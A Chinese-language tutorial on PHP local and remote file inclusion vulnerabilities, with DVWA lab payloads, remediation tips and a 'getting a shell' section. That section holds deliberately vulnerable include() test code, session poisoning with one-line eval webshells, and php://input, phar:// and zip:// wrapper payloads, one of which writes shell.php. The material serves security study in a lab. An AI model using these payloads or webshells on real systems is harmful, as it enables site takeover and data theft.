一、漏洞原理
本质:调用文件不当
服务器在调用系统文件的时候,由于权限处理不当,攻击者传入的其他的敏感的文件参数,然后导致被服务器读取,或者可以去下载,从而造成敏感信息的泄露。然后整个攻击链条分类分成RFI和LFI,主要区分点在于文件所处的位置。如果是RFI,可以做一些钓鱼,也有尝试拿shell的可能,但是概率都不大。LFI更多的是去翻找敏感的文件,比如去看到她的web代码的配置、数据库的连接信息,可以去看一些password,然后去找一些所谓的敏感文件(history、/etc/passwd、/hosts)。
二、漏洞分类
RFI(remote file inclusion)远程文件包含:当web应用程序下载并执行远程文件时,会导致远程文件包含,这些远程文件通常以HTTP或HTTPS的url形式获取,作为web应用程序的用户提供的参数
LFI(local file inclusion)本地文件包含:于远程文件包含类似,本地文件包含仅能包括本地文件,即当前服务器上的文件以供执行。
漏洞危害:
-
web服务器的文件被外界浏览导致敏感信息泄露、
-
脚本被任意执行所造成的影响包括:攻击其他网站的垫脚石、篡改网站
三、DVWA靶场示例
1.low级别
payload:page=/etc/passwd或者file:///etc/passwd或者https://www.baidu.com
2.medium级别
源码:对http和../进行了过滤
payload:file///etc/passwd
3.high级别
这里限制了page的值必须以file开头或者值为include.php,但是我们仍然可以绕过
payload:page=file1.php|../../../../../../../../../../etc/passwd
四 、漏洞修复建议
1.严格检查变量是否已经初始化
2.对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格 的检查,参数中不允许出现../和./等目录跳转符
3.严格检查文件包含函数中的参数是否外界可控。
五、拿shell
先在机器上写入一个文件,然后再去调用这个文件,通过文件中的文件包含函数中的参数传递一句话木马,拿到shell。实际挖洞不常见,多用于ctf比赛中。
1、文件包含函数
require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序继续运行
require_once() // 如果一个文件已经被包含过,则不会在包含它
include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序终止运行
include_once() // 如果一个文件已经被包含过,则不会在包含它
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
简单的测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
创建一个include.php测试文件,并将该文件放在apache服务目录下,即/var/www/html/
测试结果:
通过目录遍历漏洞可以获取到系统中其他文件的内容。
2、session文件包含漏洞
2.1利用条件:
(1)能够获取到写入内容的存储位置(即session的存储位置,可以通过phpinfo查看)
(2)写入的位置可以当作PHP来解析。
2.2测试代码ctfs.php:
<?php
session_start();
$ctfs =$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
可以利用ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码。当访问http://192.168.109.130/test/ctfs.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session/目录下存储session的值。查看就能发现我们刚刚上传的PHP内容。
攻击者通过phpinfo(信息泄露或者猜测)能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。http://192.168.109.130/test/include .php?filename=/var/lib/php/session/sess_o4hle2a75n3llbvm4c91fk02l9
同理,当我们将ctfs的写入内容替换为一句话木马时,比如<?php @eval($_POST[123]);?>,就可以配合中国蚁剑或者菜刀等工具连接。
3、远程文件包含
(1)在远程主机上存在一个txt/php文件,内容是PHP代码,调用可被解析为PHP文件,只要在远程文件中写入恶意代码,就可以拿shell。
http://192.168.109.130/test/include .php?filename=http://192.168.109.130:8000/test/1.txt
4、PHP伪协议
(1)PHP输入输出流(base64编码解码)
有时正常的远程url或者PHP代码可能不会被解析,所以尝试对url进行base编码,尝试是否能够通过解析,解析成功以后再解码。或者先对代码进行编码,url再使用PHP伪协议进行解码。
测试代码include.php:
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件:只是读取,需要开启allow_url_fopen,不需要开启allow_url_include;
(2)phar:// 伪协议
这个参数就是PHP解压缩包的一个函数,不管后缀是什么,都会当作压缩包来解压。
用法: ?file=phar://压缩包/内部文件
注意:PHP > =5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤:写一个info.php ,然后用zip协议压缩为info.zip ,然后将后缀改为png等其他格式,然后传入服务器。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
http://192.168.109.130/test/include.php?filename=phar://../info.png/info.php
(3)zip://伪协议
zip伪协议和phar协议类似,但是用法不一样。
用法: ?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
zip://xxx.png#shell.php
条件: PHP> =5.3.0 ,注意在windows下测试要5.3.0 =5.3.0 #在浏览
器中要编码为%23 ,否则浏览器默认不会传输特殊字符。
http://192.168.109.130/test/include.php?filename=zip://info.png%23info.php
(4)php://input
类似远程包含漏洞,发现了漏洞存在,但是payload测试不成功,可以考虑用此方法。
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件: php配置文件中需同时开启allow_ url_ fopen 和allow_ url_ include (PHP < 5.3.0) ,就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI) , 即POST过去PHP代码,即可执行。
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
5、总结
拿shell的几种方法:
-
session会话结合include()文件包含函数
-
远程文件包含(远程txt/php文件)
-
PHP伪协议
声明:文章内容借鉴于B站视频【农夫安全201-A10-文件包含漏洞】,如有疑问可参见原视频。对文章内容有改进建议也欢迎留言讨论,谢谢!